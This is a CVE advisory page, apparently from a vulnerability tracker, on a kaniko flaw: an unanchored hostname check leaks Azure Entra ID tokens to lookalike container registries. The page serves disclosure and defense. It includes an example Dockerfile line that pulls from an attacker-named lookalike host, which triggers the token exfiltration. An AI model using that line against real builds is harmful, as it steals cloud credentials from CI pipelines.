# CVE-2026-105769: kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

- Exploited (CISA KEV): no
- Published: 2026-11-02
- CVSS: 9.3 CRITICAL (v3.1)
- EPSS: no score
- CWE: CWE-346, CWE-522

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

## Edge WAF coverage (claimed by vendors, not measured)

| Vendor | Status | First rule | Days after publication |
|---|---|---|---|
| Cloudflare | No public claim | — | — |
| AWS | No public claim | — | — |
| Microsoft Azure | No public claim | — | — |
| Google Cloud | No public claim | — | — |
| Fastly | No public claim | — | — |
| F5 | No public claim | — | — |
| Akamai | No public source | — | — |
| OWASP CRS | No public claim | — | — |

## Social

3 posts seen since 2026-11-02.

- x 2026-11-02: 🚨 CVE-2026-105769 (CVSS 9.3 Critical)  Unanchored regex in Google kaniko (< 1.25.20) ACR helper leaks Azure Entra ID / ARM tokens to lookalike FROM registries in CI/CD without executing commands.  ⚡ Action: Upgrade kaniko to v1.25.20 immediately.  🔗 https://t.co/zYLl3x6hjf (https://x.com/TheHackerWire/status/2117346306171519106)
- x 2026-11-02: 🆕 New CVE: CVE-2026-105769 (CVSS 9.3) kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts Remote, no login needed.  kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource…  https://t.co/zeQ47NdmWo (https://x.com/EnclaveRadar/status/2117399021236953549)
- x 2026-11-02: New CVE-2026-105769 (CVSS 9.3) in kaniko: an unanchored ACR hostname check can leak Azure/Entra access tokens to attacker-controlled registries during container builds.   Requires an available Azure identity and untrusted image references. Fixed in v1.25.20. (https://x.com/wahlbang07/status/2117372160453103945)

"No public claim" means no vendor statement names this CVE; "Before feed history" means the CVE is older than the vendor feed. In both cases generic rules may still block it.

HTML: https://cve.vigilbase.com/cve/CVE-2026-105769 · JSON: https://cve.vigilbase.com/api/v1/cves/CVE-2026-105769